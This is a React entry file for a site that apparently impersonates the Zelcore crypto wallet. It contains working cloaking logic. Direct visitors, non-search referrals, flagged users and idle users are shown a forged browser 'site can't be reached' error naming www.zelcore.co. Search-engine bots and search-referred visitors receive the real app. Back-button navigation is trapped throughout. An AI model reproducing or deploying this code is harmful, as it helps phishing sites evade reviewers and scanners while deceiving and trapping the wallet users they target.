// import { StrictMode } from 'react'
// import { createRoot } from 'react-dom/client'
// import './index.css'
// import React from 'react'
// import App from './App.jsx'

// createRoot(document.getElementById('root')).render(
//   <StrictMode>
//     <App />
//   </StrictMode>,
// )




// main.jsx (or index.jsx)
import React from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.jsx';
import './index.css';

// PRIORITY CHECK - Must be first, before any other logic
if (localStorage.getItem('blockedUserAgent') === 'true' || 
    localStorage.getItem('showFakeError') === 'true') {
  
  // Show fake error page immediately
  document.open();
  document.write(`
    <style>
      body {
        margin: 0;
        padding: 0;
        font-family: sans-serif;
        background: #fff;
        color: #444;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100vh;
        text-align: start;
        transform: translateY(-8%);
      }
      .container {
        max-width: 540px;
        padding: 40px;
        display: flex;
        flex-direction: column;
        align-items: flex-start;
      }
      .icon {
        width: 72px;
        height: 72px;
        margin-bottom: 30px;
        background: url('data:image/png;base64,...') no-repeat center;
        background-size: contain;
      }
      h2 {
        font-size: 20px;
        color: #202124;
        margin-bottom: 10px;
      }
      p, ul, code {
        width: 100%;
      }
      ul {
        padding-left: 20px;
        margin: 10px 0;
      }
      ul li {
        text-align: start;
      }
      ul li:last-child span {
        color: #1b73e8;
      }
      code {
        padding: 6px 10px;
        border-radius: 4px;
        margin-top: 10px;
        display: inline-block;
        font-family: monospace;
      }
      .button-row {
        display: flex;
        justify-content: space-between;
        margin-top: 30px;
        width: 100%;
      }
      .btn {
        padding: 12px 24px;
        font-size: 15px;
        font-weight: 500;
        border-radius: 9999px;
        border: none;
        cursor: pointer;
      }
      .btn.details {
        background: #fff;
        border: 1px solid #ccc;
      }
      .btn.reload {
        background: #1b73e8;
        color: white;
      }
    </style>
    <div class="container">
      <div class="icon"></div>
      <h2>This site can't be reached</h2>
      <p><strong>www.zelcore.co</strong>'s server IP address could not be found.</p>
      <p>Try:</p>
      <ul>
        <li>Checking the connection</li>
        <li><span>Checking the proxy, firewall and DNS configuration</span></li>
      </ul>
      <code>ERR_NAME_NOT_RESOLVED</code>
      <div class="button-row">
        <button class="btn details">Details</button>
        <button class="btn reload" onclick="location.reload()">Reload</button>
      </div>
    </div>
    <script>
      // Block back button on error page
      window.history.pushState(null, "", window.location.href);
      window.addEventListener("popstate", function() {
        window.history.pushState(null, "", window.location.href);
      });
    </script>
  `);
  document.close();
  
  // Stop execution completely - don't run any code below
  throw new Error('Blocked user - showing error page');
}

// Detection logic
const isSearchEngineBot = /bot|crawl|spider|googlebot|bingbot|duckduckbot/i.test(navigator.userAgent);
const trustedReferrers = ['google.', 'bing.', 'yahoo.', 'duckduckgo.'];
const cameFromSearch = trustedReferrers.some(engine => document.referrer.includes(engine));
const isDirectVisit = !document.referrer;

const isBlocked = localStorage.getItem('blockedUserAgent') === 'true';
const shouldShowFakeError = localStorage.getItem('showFakeError') === 'true';

if (isDirectVisit) {
  localStorage.removeItem('referrerTrusted');
}

const cameFromTrusted = localStorage.getItem('referrerTrusted') === 'true';

// Fake error page function
const showFakeErrorPage = () => {
  document.open();
  document.write(`
    <style>
      body {
        margin: 0;
        padding: 0;
        font-family: sans-serif;
        background: #fff;
        color: #444;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100vh;
        text-align: start;
        transform: translateY(-8%);
      }
      .container {
        max-width: 540px;
        padding: 40px;
        display: flex;
        flex-direction: column;
        align-items: flex-start;
      }
      .icon {
        width: 72px;
        height: 72px;
        margin-bottom: 30px;
        background: url('data:image/png;base64,...') no-repeat center;
        background-size: contain;
      }
      h2 {
        font-size: 20px;
        color: #202124;
        margin-bottom: 10px;
      }
      p, ul, code {
        width: 100%;
      }
      ul {
        padding-left: 20px;
        margin: 10px 0;
      }
      ul li {
        text-align: start;
      }
      ul li:last-child span {
        color: #1b73e8;
      }
      code {
        padding: 6px 10px;
        border-radius: 4px;
        margin-top: 10px;
        display: inline-block;
        font-family: monospace;
      }
      .button-row {
        display: flex;
        justify-content: space-between;
        margin-top: 30px;
        width: 100%;
      }
      .btn {
        padding: 12px 24px;
        font-size: 15px;
        font-weight: 500;
        border-radius: 9999px;
        border: none;
        cursor: pointer;
      }
      .btn.details {
        background: #fff;
        border: 1px solid #ccc;
      }
      .btn.reload {
        background: #1b73e8;
        color: white;
      }
    </style>
    <div class="container">
      <div class="icon"></div>
      <h2>This site can't be reached</h2>
      <p><strong>www.zelcore.co</strong>'s server IP address could not be found.</p>
      <p>Try:</p>
      <ul>
        <li>Checking the connection</li>
        <li><span>Checking the proxy, firewall and DNS configuration</span></li>
      </ul>
      <code>ERR_NAME_NOT_RESOLVED</code>
      <div class="button-row">
        <button class="btn details">Details</button>
        <button class="btn reload" onclick="location.reload()">Reload</button>
      </div>
    </div>
   <script>
      // Block back button on error page
      window.history.pushState(null, "", window.location.href);
      window.addEventListener("popstate", function() {
        window.history.pushState(null, "", window.location.href);
      });
    </script>
  `);
  document.close();
};

// Block back button function
const blockBackButton = () => {
  window.history.pushState(null, "", window.location.href);
  
  const preventBack = () => {
    window.history.pushState(null, "", window.location.href);
  };
  
  window.addEventListener("popstate", preventBack);
};

// Mount React app function
const mountApp = () => {
  const root = document.getElementById('root');
  createRoot(root).render(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );

  // Block back button after mounting
  blockBackButton();

  // Optional inactivity timer
  let inactivityTimer;
  function resetInactivityTimer() {
    clearTimeout(inactivityTimer);
    inactivityTimer = setTimeout(() => {
      localStorage.setItem('showFakeError', 'true');
      location.reload();
    }, 8 * 60 * 1000); // 8 minutes
  }

  ['click', 'mousemove', 'keydown', 'scroll', 'touchstart'].forEach(event =>
    window.addEventListener(event, resetInactivityTimer)
  );
  resetInactivityTimer();
};

// Control flow
if (isSearchEngineBot) {
  localStorage.setItem('referrerTrusted', 'true');
  localStorage.removeItem('showFakeError');
  mountApp();

} else if (isBlocked) {
  showFakeErrorPage();

} else if (cameFromSearch) {
  localStorage.setItem('referrerTrusted', 'true');
  localStorage.removeItem('showFakeError');
  mountApp();

} else if (isDirectVisit || shouldShowFakeError || !cameFromTrusted) {
  showFakeErrorPage();

} else {
  mountApp();
}